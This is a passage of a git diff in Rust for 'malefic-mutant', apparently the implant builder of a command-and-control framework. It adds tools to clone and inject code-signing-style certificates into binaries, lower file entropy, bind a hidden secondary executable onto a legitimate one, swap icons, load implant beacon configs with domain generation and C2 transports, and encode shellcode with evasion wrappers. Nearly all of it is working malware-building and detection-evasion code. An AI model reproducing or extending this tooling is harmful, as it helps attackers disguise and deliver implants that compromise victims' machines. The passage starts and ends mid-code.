*threshold, + strategy, + *max_growth, + *measure_only, + ), + Tool::SigForge { command } => parse_sigforge(command), + Tool::Watermark { command } => parse_watermark(command), + Tool::Binder { command } => parse_binder(command), + Tool::Icon { command } => parse_icon(command), } } @@ -588,9 +1046,719 @@ fn parse_sigforge(command: &SigForgeCommands) -> anyhow::Result<()> { } Ok(()) } + SigForgeCommands::CarbonCopy { + host, + port, + cert_file, + target, + output, + } => { + use crate::tool::sigforge::carbon_copy; + + if host.is_none() && cert_file.is_none() { + return Err(anyhow::anyhow!( + "Either --host or --cert-file must be specified" + )); + } + + if let Some(h) = host.as_ref() { + log_step!("Cloning certificate from {}:{}", h, port); + } else if let Some(f) = cert_file.as_ref() { + log_step!("Loading certificate from file: {}", f); + } + + let result_path = carbon_copy::carbon_copy( + host.as_deref(), + *port, + cert_file.as_deref(), + target, + output.as_deref(), + )?; + + log_success!("Certificate injected, output: {}", result_path); + Ok(()) + } + } +} + +fn parse_entropy( + input: &str, + output: Option<&str>, + threshold: f64, + strategy: &str, + max_growth: f64, + measure_only: bool, +) -> anyhow::Result<()> { + use crate::tool::entropy::{reduce_entropy, shannon_entropy, ReduceStrategy}; + + let data = + std::fs::read(input).map_err(|e| anyhow::anyhow!("Failed to read '{}': {}", input, e))?; + + let current = shannon_entropy(&data); + log_info!( + "Current entropy of '{}': {:.4} (file size: {} bytes)", + input, + current, + data.len() + ); + + if measure_only { + log_success!("Entropy: {:.4}", current); + return Ok(()); + } + + let output_path = output + .map(|s| s.to_string()) + .unwrap_or_else(|| format!("{}_reduced", input)); + + let strat: ReduceStrategy = strategy + .parse() + .map_err(|e: String| anyhow::anyhow!("{}", e))?; + + log_step!( + "Reducing entropy with strategy '{}', threshold {:.2}, max growth {:.1}x", + strat, + threshold, + max_growth + ); + + let (result, final_entropy) = reduce_entropy(&data, threshold, strat, max_growth); + + std::fs::write(&output_path, &result)?; + + log_success!( + "Entropy reduced: {:.4} -> {:.4} (file: {} -> {} bytes)", + current, + final_entropy, + data.len(), + result.len() + ); + log_info!("Output written to: {}", output_path); + + if final_entropy > threshold { + log_warning!( + "Could not reach threshold {:.2} within growth limit (final: {:.4})", + threshold, + final_entropy + ); + } + + Ok(()) +} + +fn parse_watermark(command: &WatermarkCommands) -> anyhow::Result<()> { + use crate::tool::watermark::{read_watermark, write_watermark, WatermarkMethod}; + + match command { + WatermarkCommands::Write { + input, + output, + method, + watermark, + } => { + let m: WatermarkMethod = method + .parse() + .map_err(|e: String| anyhow::anyhow!("{}", e))?; + + log_step!("Writing watermark ({}) to '{}'", m, input); + + write_watermark(input, output, m, watermark.as_bytes())?; + + log_success!("Watermark written to: {}", output); + Ok(()) + } + WatermarkCommands::Read { + input, + method, + size, + } => { + let m: WatermarkMethod = method + .parse() + .map_err(|e: String| anyhow::anyhow!("{}", e))?; + + log_step!("Reading watermark ({}) from '{}'", m, input); + + let data = read_watermark(input, m, *size)?; + + // Try to display as UTF-8, fall back to hex + match String::from_utf8(data.clone()) { + Ok(s) => { + let trimmed = s.trim_end_matches('\0'); + log_success!("Watermark (string): {}", trimmed); + } + Err(_) => { + log_success!("Watermark (hex): {}", hex::encode(&data)); + } + } + Ok(()) + } + } +} + +fn parse_binder(command: &BinderCommands) -> anyhow::Result<()> { + use crate::tool::binder; + + match command { + BinderCommands::Bind { + primary, + secondary, + output, + } => { + log_step!("Binding '{}' + '{}' -> '{}'", primary, secondary, output); + + binder::bind(primary, secondary, output, 0)?; + + let output_size = std::fs::metadata(output)?.len(); + log_success!("Bound file created: {} ({} bytes)", output, output_size); + Ok(()) + } + BinderCommands::Extract { input, output } => { + log_step!("Extracting embedded payload from '{}'", input); + + let payload = binder::extract(input)?; + + std::fs::write(output, &payload)?; + log_success!("Payload extracted to: {} ({} bytes)", output, payload.len()); + Ok(()) + } + BinderCommands::Check { input } => { + log_step!("Checking '{}' for embedded payload", input); + + match binder::check(input)? { + Some(meta) => { + log_success!("File contains embedded payload:"); + log_info!(" Payload offset: 0x{:X}", meta.payload_offset); + log_info!(" Payload size: {} bytes", meta.payload_size); + log_info!(" Original size: {} bytes", meta.original_size); + log_info!(" CRC32: 0x{:08X}", meta.checksum); + } + None => { + log_info!("File does not contain embedded payload"); + } + } + Ok(()) + } + } +} + +fn parse_icon(command: &IconCommands) -> anyhow::Result<()> { + use crate::tool::icon; + + match command { + IconCommands::Replace { input, ico, output } => { + log_step!("Replacing icon in '{}' with '{}'", input, ico); + + icon::replace_icon(input, ico, output)?; + + log_success!("Icon replaced, output: {}", output); + Ok(()) + } + IconCommands::Extract { input, output } => { + log_step!("Extracting icon from '{}'", input); + + icon::extract_icon(input, output)?; + + log_success!("Icon extracted to: {}", output); + Ok(()) + } } } +fn load_runtime_config_from_file(path: &str) -> anyhow::Result { + #[derive(serde::Deserialize)] + #[serde(untagged)] + enum KeyField { + Text(String), + Bytes(Vec), + } + + impl KeyField { + fn into_bytes(self) -> Vec { + match self { + KeyField::Text(s) => s.into_bytes(), + KeyField::Bytes(b) => b, + } + } + } + + #[derive(serde::Deserialize)] + struct GuardrailConfigFile { + #[serde(default)] + ip_addresses: Vec, + #[serde(default)] + usernames: Vec, + #[serde(default)] + server_names: Vec, + #[serde(default)] + domains: Vec, + #[serde(default)] + require_all: bool, + } + + #[derive(serde::Deserialize)] + struct MTLSConfigFile { + enable: bool, + #[serde(default)] + client_cert: Vec, + #[serde(default)] + client_key: Vec, + #[serde(default)] + server_ca: Vec, + } + + #[derive(serde::Deserialize)] + struct TlsConfigFile { + enable: bool, + #[serde(default)] + version: String, + #[serde(default)] + sni: String, + #[serde(default)] + skip_verification: bool, + #[serde(default)] + server_ca: Option>, + #[serde(default)] + mtls_config: Option, + } + + #[derive(serde::Deserialize)] + struct ProxyConfigFile { + proxy_type: String, + host: String, + port: u16, + #[serde(default)] + username: String, + #[serde(default)] + password: String, + } + + #[derive(serde::Deserialize)] + struct SessionConfigFile { + #[serde(default)] + read_chunk_size: Option, + #[serde(default)] + deadline_ms: Option, + #[serde(default)] + connect_timeout_ms: Option, + #[serde(default)] + keepalive: Option, + } + + #[derive(serde::Deserialize)] + #[serde(tag = "kind", rename_all = "lowercase")] + enum TransportConfigFile { + Tcp, + Http { + method: String, + path: String, + version: String, + #[serde(default)] + headers: std::collections::HashMap, + #[serde(default)] + response_read_chunk_size: Option, + #[serde(default)] + response_retry_delay_ms: Option, + }, + Rem { + link: String, + }, + } + + #[derive(serde::Deserialize)] + struct ServerConfigFile { + address: String, + protocol: String, + transport_config: TransportConfigFile, + #[serde(default)] + tls_config: Option, + #[serde(default)] + proxy_config: Option, + #[serde(default)] + domain_suffix: Option, + #[serde(default)] + session_config: Option, + } + + #[derive(serde::Deserialize)] + struct RuntimeConfigFile { + cron: String, + jitter: f64, + #[serde(default)] + keepalive: bool, + retry: u32, + max_cycles: i32, + name: String, + key: KeyField, + #[serde(default)] + use_env_proxy: bool, + #[serde(default)] + proxy_url: String, + #[serde(default)] + proxy_scheme: String, + #[serde(default)] + proxy_host: String, + #[serde(default)] + proxy_port: String, + #[serde(default)] + proxy_username: String, + #[serde(default)] + proxy_password: String, + #[serde(default)] + dga_enable: bool, + #[serde(default)] + dga_key: String, + #[serde(default)] + dga_interval_hours: u32, + guardrail: GuardrailConfigFile, + server_configs: Vec, + #[serde(default)] + max_packet_length: usize, + } + + use malefic_config::{ + GuardrailConfig as CoreGuardrailConfig, HttpRequestConfig as CoreHttpRequestConfig, + MTLSConfig as CoreMtlsConfig, ProtocolType as CoreProtocolType, + ProxyConfig as CoreProxyConfig, RemConfig as CoreRemConfig, + RuntimeConfig as CoreRuntimeConfig, ServerConfig as CoreServerConfig, + SessionConfig as CoreSessionConfig, TcpConfig as CoreTcpConfig, TlsConfig as CoreTlsConfig, + TransportConfig as CoreTransportConfig, + }; + + fn apply_session_config( + mut session_config: CoreSessionConfig, + session_override: Option, + ) -> CoreSessionConfig { + if let Some(session_override) = session_override { + if let Some(read_chunk_size) = session_override.read_chunk_size { + session_config.read_chunk_size = read_chunk_size; + } + if let Some(deadline_ms) = session_override.deadline_ms { + session_config.deadline = Duration::from_millis(deadline_ms); + } + if let Some(connect_timeout_ms) = session_override.connect_timeout_ms { + session_config.connect_timeout = Duration::from_millis(connect_timeout_ms); + } + if let Some(keepalive) = session_override.keepalive { + session_config.keepalive = keepalive; + } + } + session_config + } + + let text = fs::read_to_string(path) + .with_context(|| format!("failed to read runtime config file '{}'", path))?; + + // Try JSON first, then YAML + let parsed: RuntimeConfigFile = serde_json::from_str(&text) + .or_else(|_| serde_yaml::from_str(&text)) + .map_err(|_| { + anyhow::anyhow!( + "failed to parse runtime config file '{}' as JSON or YAML", + path + ) + })?; + + let guardrail = CoreGuardrailConfig { + ip_addresses: parsed.guardrail.ip_addresses, + usernames: parsed.guardrail.usernames, + server_names: parsed.guardrail.server_names, + domains: parsed.guardrail.domains, + require_all: parsed.guardrail.require_all, + }; + let default_keepalive = parsed.keepalive; + + let mut server_configs = Vec::new(); + for server in parsed.server_configs { + let protocol = match server.protocol.to_lowercase().as_str() { + "tcp" => CoreProtocolType::Tcp, + "http" => CoreProtocolType::Http, + "rem" => CoreProtocolType::REM, + _ => { + return Err(anyhow::anyhow!( + "invalid protocol '{}' in runtime config", + server.protocol + )) + } + }; + + let transport_config = match server.transport_config { + TransportConfigFile::Tcp => CoreTransportConfig::Tcp(CoreTcpConfig {}), + TransportConfigFile::Rem { link } => CoreTransportConfig::Rem(CoreRemConfig::new(link)), + TransportConfigFile::Http { + method, + path, + version, + headers, + response_read_chunk_size, + response_retry_delay_ms, + } => { + let mut http = CoreHttpRequestConfig::new(&method, &path, &version); + http.headers = headers; + if let Some(response_read_chunk_size) = response_read_chunk_size { + http.response_read_chunk_size = response_read_chunk_size; + } + if let Some(response_retry_delay_ms) = response_retry_delay_ms { + http.response_retry_delay = Duration::from_millis(response_retry_delay_ms); + } + CoreTransportConfig::Http(http) + } + }; + let session_config = apply_session_config( + CoreSessionConfig::default_for_transport(&transport_config, default_keepalive), + server.session_config, + ); + + let tls_config = server.tls_config.map(|tls| CoreTlsConfig { + enable: tls.enable, + version: tls.version, + sni: tls.sni, + skip_verification: tls.skip_verification, + server_ca: tls.server_ca.unwrap_or_default(), + mtls_config: tls.mtls_config.map(|m| CoreMtlsConfig { + enable: m.enable, + client_cert: m.client_cert, + client_key: m.client_key, + server_ca: m.server_ca, + }), + }); + + let proxy_config = server.proxy_config.map(|p| CoreProxyConfig { + proxy_type: p.proxy_type, + host: p.host, + port: p.port, + username: p.username, + password: p.password, + }); + + server_configs.push(CoreServerConfig { + address: server.address, + protocol, + session_config, + transport_config, + tls_config, + proxy_config, + domain_suffix: server.domain_suffix, + }); + } + + Ok(CoreRuntimeConfig { + cron: parsed.cron, + jitter: parsed.jitter, + keepalive: parsed.keepalive, + retry: parsed.retry, + max_cycles: parsed.max_cycles, + name: parsed.name, + key: parsed.key.into_bytes(), + use_env_proxy: parsed.use_env_proxy, + proxy_url: parsed.proxy_url, + proxy_scheme: parsed.proxy_scheme, + proxy_host: parsed.proxy_host, + proxy_port: parsed.proxy_port, + proxy_username: parsed.proxy_username, + proxy_password: parsed.proxy_password, + dga_enable: parsed.dga_enable, + dga_key: parsed.dga_key, + dga_interval_hours: parsed.dga_interval_hours, + guardrail, + server_configs, + max_packet_length: parsed.max_packet_length, + }) +} + +/// Read a value as PEM content or as a file path. +/// If the string starts with "-----BEGIN" it's treated as inline PEM content. +/// Otherwise it's treated as a file path and read from disk. +fn read_pem_or_file(value: &str) -> Vec { + if value.is_empty() { + return Vec::new(); + } + if value.starts_with("-----BEGIN") { + value.as_bytes().to_vec() + } else { + std::fs::read(value).unwrap_or_default() + } +} + +fn convert_implant_to_runtime_config( + implant: &Implant, +) -> anyhow::Result { + use malefic_config::{ + GuardrailConfig as CoreGuardrailConfig, HttpRequestConfig as CoreHttpRequestConfig, + MTLSConfig as CoreMtlsConfig, ProtocolType as CoreProtocolType, + ProxyConfig as CoreProxyConfig, RuntimeConfig as CoreRuntimeConfig, + ServerConfig as CoreServerConfig, SessionConfig as CoreSessionConfig, + TlsConfig as CoreTlsConfig, TransportConfig as CoreTransportConfig, + }; + use url::Url; + + let basic = &implant.basic; + + let mut server_configs = Vec::new(); + for target in &basic.targets { + let protocol = if target.http.is_some() { + CoreProtocolType::Http + } else if target.rem.is_some() { + CoreProtocolType::REM + } else { + CoreProtocolType::Tcp + }; + + let transport_config = match (&target.http, &target.rem) { + (Some(http), _) => { + let mut config = + CoreHttpRequestConfig::new(&http.method, &http.path, &http.version); + config.headers = http.headers.clone(); + if let Some(response_read_chunk_size) = http.response_read_chunk_size { + config.response_read_chunk_size = response_read_chunk_size; + } + if let Some(response_retry_delay_ms) = http.response_retry_delay_ms { + config.response_retry_delay = Duration::from_millis(response_retry_delay_ms); + } + CoreTransportConfig::Http(config) + } + (_, Some(rem)) => { + CoreTransportConfig::Rem(malefic_config::RemConfig::new(rem.link.clone())) + } + _ => CoreTransportConfig::Tcp(malefic_config::TcpConfig {}), + }; + let mut session_config = + CoreSessionConfig::default_for_transport(&transport_config, basic.keepalive); + if let Some(session) = &target.session { + if let Some(read_chunk_size) = session.read_chunk_size { + session_config.read_chunk_size = read_chunk_size; + } + if let Some(deadline_ms) = session.deadline_ms { + session_config.deadline = Duration::from_millis(deadline_ms); + } + if let Some(connect_timeout_ms) = session.connect_timeout_ms { + session_config.connect_timeout = Duration::from_millis(connect_timeout_ms); + } + if let Some(keepalive) = session.keepalive { + session_config.keepalive = keepalive; + } + } + + let tls_config = target.tls.as_ref().map(|tls| CoreTlsConfig { + enable: tls.enable, + version: tls.version.clone(), + sni: tls.sni.clone(), + skip_verification: tls.skip_verification, + server_ca: tls + .server_ca + .as_ref() + .map(|v| read_pem_or_file(v)) + .unwrap_or_default(), + mtls_config: tls.mtls.as_ref().map(|m| CoreMtlsConfig { + enable: m.enable, + client_cert: read_pem_or_file(&m.client_cert), + client_key: read_pem_or_file(&m.client_key), + server_ca: read_pem_or_file(&m.server_ca), + }), + }); + + let proxy_config = target.proxy.as_ref().and_then(|p| { + if p.url.is_empty() { + None + } else { + Url::parse(&p.url).ok().map(|u| CoreProxyConfig { + proxy_type: u.scheme().to_string(), + host: u.host_str().unwrap_or_default().to_string(), + port: u.port().unwrap_or(0), + username: u.username().to_string(), + password: u.password().unwrap_or_default().to_string(), + }) + } + }); + + server_configs.push(CoreServerConfig { + address: target.address.clone(), + protocol, + session_config, + transport_config, + tls_config, + proxy_config, + domain_suffix: target.domain_suffix.clone(), + }); + } + + let guardrail = &basic.guardrail; + let guardrail_cfg = CoreGuardrailConfig { + ip_addresses: guardrail.ip_addresses.clone(), + usernames: guardrail.usernames.clone(), + server_names: guardrail.server_names.clone(), + domains: guardrail.domains.clone(), + require_all: guardrail.require_all, + }; + + // parse global proxy URL into components + let mut proxy_scheme = String::new(); + let mut proxy_host = String::new(); + let mut proxy_port = String::new(); + if !basic.proxy.url.is_empty() { + if let Ok(url) = Url::parse(&basic.proxy.url) { + proxy_scheme = url.scheme().to_string(); + if let Some(host) = url.host_str() { + proxy_host = host.to_string(); + } + proxy_port = url + .port_or_known_default() + .map(|p| p.to_string()) + .unwrap_or_default(); + } + } + + Ok(CoreRuntimeConfig { + cron: basic.cron.clone(), + jitter: basic.jitter, + keepalive: basic.keepalive, + retry: basic.retry, + max_cycles: basic.max_cycles.unwrap_or(-1), + name: basic.name.clone(), + key: basic.key.as_bytes().to_vec(), + use_env_proxy: basic.proxy.use_env_proxy, + proxy_url: basic.proxy.url.clone(), + proxy_scheme, + proxy_host, + proxy_port, + proxy_username: String::new(), + proxy_password: String::new(), + dga_enable: basic.dga.enable, + dga_key: basic.dga.key.clone(), + dga_interval_hours: basic.dga.interval_hours, + guardrail: guardrail_cfg, + server_configs, + max_packet_length: basic.max_packet_length, + }) +} + +fn normalize_blob_string(raw: &str, expected_len: usize) -> anyhow::Result { + const PREFIX: &str = "CFGv3B64"; + + let cleaned: String = raw.chars().filter(|c| !c.is_whitespace()).collect(); + let mut normalized = if cleaned.starts_with(PREFIX) { + cleaned + } else { + let mut out = String::with_capacity(PREFIX.len() + cleaned.len()); + out.push_str(PREFIX); + out.push_str(&cleaned); + out + }; + + if normalized.len() > expected_len { + return Err(anyhow::anyhow!( + "provided blob is too long: {} bytes (expected {})", + normalized.len(), + expected_len + )); + } + + if normalized.len() < expected_len { + normalized.extend(std::iter::repeat('#').take(expected_len - normalized.len())); + } + + Ok(normalized) +} + fn resolve_patch_xor_key(cli_value: Option<&str>) -> anyhow::Result { if let Some(value) = cli_value { return Ok(value.to_string()); @@ -621,27 +1789,38 @@ fn read_key_from_implant_yaml() -> anyhow::Result> { } fn main() -> anyhow::Result<()> { - logger::init(); let cli = Cli::parse(); + logger::init(cli.debug); match &cli.command { Commands::Generate { version, config, command, source, + patch_mode, + metadata_wordlist, } => { let mut implant_config = load_yaml_config(config)?; validate_yaml_config(config)?; - parse_generate(&mut implant_config, command, *version, *source) + parse_generate( + &mut implant_config, + command, + *version, + *patch_mode, + *source, + metadata_wordlist.as_deref(), + ) } Commands::Build { config, target, + lib, + dev, command, } => { let mut implant_config = load_yaml_config(config)?; validate_yaml_config(config)?; - parse_build(&mut implant_config, command, target) + parse_build(&mut implant_config, command, target, *lib, *dev) } Commands::Tool(tool) => parse_tool(tool), } diff --git a/malefic-mutant/src/tool/binder/embed.rs b/malefic-mutant/src/tool/binder/embed.rs new file mode 100644 index 0000000..05c3f60 --- /dev/null +++ b/malefic-mutant/src/tool/binder/embed.rs @@ -0,0 +1,110 @@ +/// Binder embed/extract/check operations using overlay appending. +use anyhow::{anyhow, Result}; +use std::fs::File; +use std::io::{Read, Seek, SeekFrom, Write}; + +use super::metadata::{BinderMetadata, BINDER_MAGIC, METADATA_SIZE}; + +/// Bind a secondary PE file onto a primary PE file using overlay embedding. +/// +/// Layout: [primary PE data] [secondary PE data] [BinderMetadata (40 bytes)] +pub fn bind(primary_path: &str, secondary_path: &str, output_path: &str, flags: u32) -> Result<()> { + let primary_data = std::fs::read(primary_path) + .map_err(|e| anyhow!("Failed to read primary file '{}': {}", primary_path, e))?; + let secondary_data = std::fs::read(secondary_path) + .map_err(|e| anyhow!("Failed to read secondary file '{}': {}", secondary_path, e))?; + + // Validate both are PE files (check MZ header) + if primary_data.len() < 2 || &primary_data[0..2] != b"MZ" { + return Err(anyhow!( + "Primary file is not a valid PE file (missing MZ header)" + )); + } + if secondary_data.len() < 2 || &secondary_data[0..2] != b"MZ" { + return Err(anyhow!( + "Secondary file is not a valid PE file (missing MZ header)" + )); + } + + let original_size = primary_data.len() as u64; + let payload_offset = original_size; + let payload_size = secondary_data.len() as u64; + let checksum = crc32fast::hash(&secondary_data); + + let metadata = BinderMetadata { + magic: *BINDER_MAGIC, + payload_offset, + payload_size, + original_size, + flags, + checksum, + }; + + let mut output = File::create(output_path)?; + output.write_all(&primary_data)?; + output.write_all(&secondary_data)?; + output.write_all(&metadata.to_bytes())?; + + Ok(()) +} + +/// Extract the embedded secondary PE from a bound file. +/// Returns the secondary PE data. +pub fn extract(bound_path: &str) -> Result> { + let metadata = read_metadata(bound_path)? + .ok_or_else(|| anyhow!("File '{}' does not contain binder metadata", bound_path))?; + + let mut file = File::open(bound_path)?; + file.seek(SeekFrom::Start(metadata.payload_offset))?; + + let mut payload = vec![0u8; metadata.payload_size as usize]; + file.read_exact(&mut payload)?; + + // Verify CRC32 + let actual_crc = crc32fast::hash(&payload); + if actual_crc != metadata.checksum { + return Err(anyhow!( + "CRC32 mismatch: expected 0x{:08X}, got 0x{:08X}", + metadata.checksum, + actual_crc + )); + } + + Ok(payload) +} + +/// Check if a file contains binder metadata. +/// Returns Some(BinderMetadata) if bound, None otherwise. +pub fn check(file_path: &str) -> Result> { + read_metadata(file_path) +} + +/// Read BinderMetadata from the last 40 bytes of a file. +fn read_metadata(file_path: &str) -> Result> { + let mut file = File::open(file_path)?; + let file_size = file.metadata()?.len(); + + if file_size < METADATA_SIZE as u64 { + return Ok(None); + } + + file.seek(SeekFrom::End(-(METADATA_SIZE as i64)))?; + let mut buf = [0u8; METADATA_SIZE]; + file.read_exact(&mut buf)?; + + Ok(BinderMetadata::from_bytes(&buf)) +} + +/// Extract the original primary PE (without the bound payload). +#[allow(dead_code)] +pub fn extract_primary(bound_path: &str, output_path: &str) -> Result<()> { + let metadata = read_metadata(bound_path)? + .ok_or_else(|| anyhow!("File '{}' does not contain binder metadata", bound_path))?; + + let mut file = File::open(bound_path)?; + let mut primary = vec![0u8; metadata.original_size as usize]; + file.read_exact(&mut primary)?; + + std::fs::write(output_path, &primary)?; + Ok(()) +} diff --git a/malefic-mutant/src/tool/binder/metadata.rs b/malefic-mutant/src/tool/binder/metadata.rs new file mode 100644 index 0000000..2563e86 --- /dev/null +++ b/malefic-mutant/src/tool/binder/metadata.rs @@ -0,0 +1,53 @@ +/// Binder metadata structure (40 bytes, appended at file tail). + +pub const BINDER_MAGIC: &[u8; 8] = b"MFCBIND\0"; +pub const METADATA_SIZE: usize = 40; + +/// Metadata written at the end of a bound PE file. +#[derive(Debug, Clone, Copy)] +#[repr(C)] +pub struct BinderMetadata { + /// Magic bytes: b"MFCBIND\0" + pub magic: [u8; 8], + /// File offset where the secondary PE payload begins + pub payload_offset: u64, + /// Size of the secondary PE payload + pub payload_size: u64, + /// Size of the original primary PE (before binding) + pub original_size: u64, + /// Reserved flags + pub flags: u32, + /// CRC32 checksum of the payload data + pub checksum: u32, +} + +impl BinderMetadata { + /// Serialize metadata to 40 bytes (little-endian). + pub fn to_bytes(&self) -> [u8; METADATA_SIZE] { + let mut buf = [0u8; METADATA_SIZE]; + buf[0..8].copy_from_slice(&self.magic); + buf[8..16].copy_from_slice(&self.payload_offset.to_le_bytes()); + buf[16..24].copy_from_slice(&self.payload_size.to_le_bytes()); + buf[24..32].copy_from_slice(&self.original_size.to_le_bytes()); + buf[32..36].copy_from_slice(&self.flags.to_le_bytes()); + buf[36..40].copy_from_slice(&self.checksum.to_le_bytes()); + buf + } + + /// Deserialize metadata from 40 bytes. + pub fn from_bytes(buf: &[u8; METADATA_SIZE]) -> Option { + let magic: [u8; 8] = buf[0..8].try_into().ok()?; + if &magic != BINDER_MAGIC { + return None; + } + + Some(BinderMetadata { + magic, + payload_offset: u64::from_le_bytes(buf[8..16].try_into().ok()?), + payload_size: u64::from_le_bytes(buf[16..24].try_into().ok()?), + original_size: u64::from_le_bytes(buf[24..32].try_into().ok()?), + flags: u32::from_le_bytes(buf[32..36].try_into().ok()?), + checksum: u32::from_le_bytes(buf[36..40].try_into().ok()?), + }) + } +} diff --git a/malefic-mutant/src/tool/binder/mod.rs b/malefic-mutant/src/tool/binder/mod.rs new file mode 100644 index 0000000..08d73ae --- /dev/null +++ b/malefic-mutant/src/tool/binder/mod.rs @@ -0,0 +1,9 @@ +pub mod embed; +pub mod metadata; + +pub use embed::{bind, check, extract}; + +#[allow(unused_imports)] +pub use embed::extract_primary; +#[allow(unused_imports)] +pub use metadata::BinderMetadata; diff --git a/malefic-mutant/src/tool/encoder/aes2.rs b/malefic-mutant/src/tool/encoder/aes2.rs new file mode 100644 index 0000000..f9dffa4 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/aes2.rs @@ -0,0 +1,15 @@ +use super::EncodeResult; +use anyhow::Result; + +/// AES2 uses the same encryption as AES, but the C/Rust output includes +/// evasion wrapper code (split decryption with junk calculations). +/// The actual encoding is identical to AES. +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::aes2::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/aes_enc.rs b/malefic-mutant/src/tool/encoder/aes_enc.rs new file mode 100644 index 0000000..4865837 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/aes_enc.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::aes::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/base45.rs b/malefic-mutant/src/tool/encoder/base45.rs new file mode 100644 index 0000000..df8b9e2 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/base45.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::base45::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/base58.rs b/malefic-mutant/src/tool/encoder/base58.rs new file mode 100644 index 0000000..e0e0bca --- /dev/null +++ b/malefic-mutant/src/tool/encoder/base58.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::base58::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/base64_enc.rs b/malefic-mutant/src/tool/encoder/base64_enc.rs new file mode 100644 index 0000000..b472818 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/base64_enc.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::base64::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/chacha.rs b/malefic-mutant/src/tool/encoder/chacha.rs new file mode 100644 index 0000000..9f5f360 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/chacha.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::chacha::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/des_enc.rs b/malefic-mutant/src/tool/encoder/des_enc.rs new file mode 100644 index 0000000..dd93943 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/des_enc.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::des::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/ipv4.rs b/malefic-mutant/src/tool/encoder/ipv4.rs new file mode 100644 index 0000000..92148c1 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/ipv4.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::ipv4::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/mac.rs b/malefic-mutant/src/tool/encoder/mac.rs new file mode 100644 index 0000000..2adc968 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/mac.rs @@ -0,0 +1,12 @@ +use super::EncodeResult; +use anyhow::Result; + +pub fn encode(data: &[u8]) -> Result { + let r = malefic_codec::mac::encode(data); + Ok(EncodeResult { + encoded: r.encoded, + key: r.key, + extra: r.extra, + strings: r.strings, + }) +} diff --git a/malefic-mutant/src/tool/encoder/mod.rs b/malefic-mutant/src/tool/encoder/mod.rs new file mode 100644 index 0000000..b7bec13 --- /dev/null +++ b/malefic-mutant/src/tool/encoder/mod.rs @@ -0,0 +1,257 @@ +pub mod aes2; +pub mod aes_enc; +pub mod base45; +pub mod base58; +pub mod base64_enc; +pub mod chacha; +pub mod des_enc; +pub mod ipv4; +pub mod mac; +pub mod rc4; +pub mod uuid; +pub mod xor; + +use anyhow::Result; +use std::fmt; + +pub const ENCODING_NAMES: &[&str] = &[ + "xor", "uuid", "mac", "ipv4", "base64", "base45", "base58", "aes", "aes2", "des", "chacha", + "rc4", +]; + +#[derive(Debug, Clone)] +pub enum EncodingType { + Xor, + Uuid, + Mac, + Ipv4, + Base64, + Base45, + Base58, + Aes, + Aes2, + Des, + ChaCha, + Rc4, +} + +impl EncodingType { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "xor" => Ok(Self::Xor), + "uuid" => Ok(Self::Uuid), + "mac" => Ok(Self::Mac), + "ipv4" => Ok(Self::Ipv4), + "base64" => Ok(Self::Base64), + "base45" => Ok(Self::Base45), + "base58" => Ok(Self::Base58), + "aes" => Ok(Self::Aes), + "aes2" => Ok(Self::Aes2), + "des" => Ok(Self::Des), + "chacha" => Ok(Self::ChaCha), + "rc4" => Ok(Self::Rc4), + _ => anyhow::bail!( + "Unknown encoding: {}. Use --list to see available encodings.", + s + ), + } + } +} + +impl fmt::Display for EncodingType { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Xor => write!(f, "xor"), + Self::Uuid => write!(f, "uuid"), + Self::Mac => write!(f, "mac"), + Self::Ipv4 => write!(f, "ipv4"), + Self::Base64 => write!(f, "base64"), + Self::Base45 => write!(f, "base45"), + Self::Base58 => write!(f, "base58"), + Self::Aes => write!(f, "aes"), + Self::Aes2 => write!(f, "aes2"), + Self::Des => write!(f, "des"), + Self::ChaCha => write!(f, "chacha"), + Self::Rc4 => write!(f, "rc4"), + } + } +} + +#[derive(Debug, Clone)] +pub enum OutputFormat { + Bin, + C, + Rust, + All, +} + +impl OutputFormat { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + 